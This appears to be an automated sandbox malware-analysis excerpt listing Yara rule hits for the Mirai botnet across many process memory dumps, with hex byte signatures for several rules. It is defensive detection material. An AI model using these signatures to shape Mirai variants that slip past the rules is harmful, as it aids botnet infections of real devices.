6261.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6261.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7315.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7315.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7315.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7315.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7315.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7315.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6813.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6813.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6813.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6813.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6813.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6813.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6785.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6785.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6785.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6785.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6785.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6785.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7398.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7398.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7398.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7398.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7398.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7398.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7092.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7092.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7092.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7092.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7092.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7092.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7253.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7253.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7253.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7253.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7253.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7253.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7429.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7429.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7429.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7429.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7429.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7429.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6574.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6574.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6574.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6574.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6574.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6574.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7052.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6956.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6956.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6956.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6956.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6956.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6956.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7142.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7142.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7142.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7142.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7142.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7142.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7001.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6959.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7167.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7167.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7167.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7167.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7167.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7167.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6549.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6549.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6549.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6549.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6549.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6549.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6707.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6707.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6707.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6707.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6707.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6707.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6848.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6848.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6848.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6848.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6848.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6848.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7334.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7334.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7334.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7334.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7334.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7334.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6680.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6680.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6680.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6680.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6680.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6680.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7049.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7049.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7049.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7049.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7049.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7049.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6901.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6901.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6901.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6901.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6901.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6901.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7300.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7300.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7300.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7300.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7300.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7300.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6883.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6883.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6883.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6883.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6883.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6883.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6791.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6791.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6791.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6791.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6791.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6791.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7301.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7301.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7301.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7301.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7301.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7301.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7256.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7256.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7256.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7256.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7256.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7256.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7283.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7283.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7283.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7283.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7283.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7283.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6414.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6414.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6414.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6414.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6414.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6414.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6247.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6247.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6247.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6247.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6247.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6247.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7413.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7413.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7413.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7413.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7413.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7413.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7069.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7069.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7069.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
